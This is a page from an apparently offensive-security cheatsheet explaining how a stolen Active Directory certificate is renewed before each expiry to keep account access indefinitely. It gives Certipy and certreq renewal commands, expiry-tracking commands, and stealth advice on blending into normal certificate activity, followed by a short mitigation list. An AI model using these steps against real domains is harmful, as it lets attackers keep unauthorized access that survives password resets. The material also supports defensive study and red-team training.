daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

persist3-account-persistence-via-certificate-renewal.md (5169B)


      1 ---
      2 title: "PERSIST3 — Account Persistence via Certificate Renewal"
      3 description: "Templates that allow renewal let a holder present their current certificate and receive a fresh one with a new validity window, authenticated by the…"
      4 category: active-directory
      5 subcategory: "ADCS & Certificates"
      6 tags: ["active-directory", "adcs", "persistence"]
      7 tools: ["Certipy", "OpenSSL", "PowerShell"]
      8 difficulty: advanced
      9 updated: "2026-08-10"
     10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/PERSIST3 — Account Persistence via Certificate Renewal.md"
     11 ---
     12 # PERSIST3 — Account Persistence via Certificate Renewal
     13 
     14 ## Quick Reference
     15 
     16 | Field | Value |
     17 |-------|-------|
     18 | **Category** | Account Persistence (renewal) |
     19 | **Difficulty** | Low |
     20 | **Pre-requisites** | An existing valid certificate + private key for the account; the template permits renewal |
     21 | **Tools** | Certipy (`req -renew`), certreq |
     22 | **OPSEC Noise** | Low — looks like normal certificate lifecycle |
     23 | **One-liner** | Renew a certificate **before it expires** using only the existing cert/key — no account password needed — extending your access for another full validity period, indefinitely. |
     24 
     25 ***
     26 
     27 ## What Is PERSIST3?
     28 
     29 Templates that allow **renewal** let a holder present their current certificate and receive a fresh one with a new validity window, authenticated *by the existing key* rather than by the user's password. An attacker who obtained a cert (via an ESC, THEFT, or PERSIST1) can therefore roll it forward forever, so long as they renew before each expiry. Password resets never break the chain because renewal never uses the password.
     30 
     31 <figure class="flow plate corners">
     32   <figcaption class="flow__cap"><span class="flow__kind">Renewal persistence loop</span><span class="flow__dir">LR</span></figcaption>
     33   <div class="flow__body">
     34     <svg class="flow-svg" viewBox="0 0 800 190" role="img" aria-label="cert v1 renews into cert v2, then cert v3, which renews back into the chain forever">
     35       <path class="fedge" d="M185,82 L323,82" marker-end="url(#flow-arrow)" />
     36       <path class="fedge" d="M475,82 L613,82" marker-end="url(#flow-arrow)" />
     37       <path class="fedge is-back" d="M690,106 L690,158 L110,158 L110,108" marker-end="url(#flow-arrow)" />
     38       <g class="fnode"><rect class="fnode__box" x="35" y="58" width="150" height="48" /><text class="fnode__label" x="110" y="79" text-anchor="middle">cert v1<tspan class="sub" x="110" dy="15">expires in 30d</tspan></text></g>
     39       <g class="fnode"><rect class="fnode__box" x="325" y="58" width="150" height="48" /><text class="fnode__label" x="400" y="79" text-anchor="middle">cert v2<tspan class="sub" x="400" dy="15">fresh 1-2y</tspan></text></g>
     40       <g class="fnode"><rect class="fnode__box" x="615" y="58" width="150" height="48" /><text class="fnode__label" x="690" y="86" text-anchor="middle">cert v3 …</text></g>
     41       <g class="felabel"><rect class="felabel__box" x="216" y="74" width="76" height="16" /><text class="felabel__text" x="254" y="85" text-anchor="middle">renew with key</text></g>
     42       <g class="felabel"><rect class="felabel__box" x="510" y="74" width="68" height="16" /><text class="felabel__text" x="544" y="85" text-anchor="middle">renew again</text></g>
     43       <g class="felabel"><rect class="felabel__box" x="370" y="150" width="60" height="16" /><text class="felabel__text" x="400" y="161" text-anchor="middle">forever</text></g>
     44     </svg>
     45   </div>
     46 </figure>
     47 
     48 ***
     49 
     50 ## Step 1 — Renew Before Expiry
     51 
     52 ```bash
     53 # Certipy — renew using the current pfx (no password required)
     54 certipy-ad req -renew \
     55   -pfx current.pfx \
     56   -dc-ip $TARGET -ca 'DOMAIN-CA'
     57 #   -> renewed.pfx with a fresh validity window
     58 ```
     59 
     60 ```powershell
     61 # Windows — certreq renewal of an existing cert by thumbprint
     62 certreq -enroll -user -q -PolicyServer * -cert <THUMBPRINT> Renew
     63 ```
     64 
     65 ***
     66 
     67 ## Step 2 — Track & Automate
     68 
     69 ```bash
     70 # Check remaining validity of a stashed cert
     71 certipy-ad cert -pfx current.pfx -nokey -out /dev/stdout | grep -i 'Not After'
     72 openssl pkcs12 -in current.pfx -nodes -nokeys | openssl x509 -noout -enddate
     73 ```
     74 
     75 - Set a reminder a week before each expiry and re-run the renewal.
     76 - Keep the private key material offline between renewals to reduce host footprint.
     77 
     78 ***
     79 
     80 ## OPSEC Considerations
     81 
     82 | Action | Log | Noise |
     83 | :-- | :-- | :-- |
     84 | Renewal request | Event 4886/4887 on CA (looks routine) | 🟢 Low |
     85 | PKINIT auth with renewed cert | Event 4768 on DC | 🟢 Low |
     86 
     87 > [!note] Blends into normal lifecycle
     88 > Renewals are indistinguishable from legitimate certificate maintenance, which is what makes this quiet persistence.
     89 
     90 ***
     91 
     92 ## Mitigation
     93 
     94 - On compromise, **revoke** the certificate and its renewals, and disable renewal on sensitive templates.
     95 - Reduce validity/overlap windows; require re-approval on renewal for high-value templates.
     96 - Correlate renewals against expected owners and enrolment agents.
     97 
     98 ***
     99 
    100 ## See Also
    101 
    102 - _ADCS Attack Methodology Guide · PERSIST1 — Active User Credential Theft via Certificates · PERSIST2 — Machine Account Persistence via Certificates
    103 - Sources: SpecterOps *Certified Pre-Owned*; [Certipy Wiki](https://github.com/ly4k/Certipy/wiki)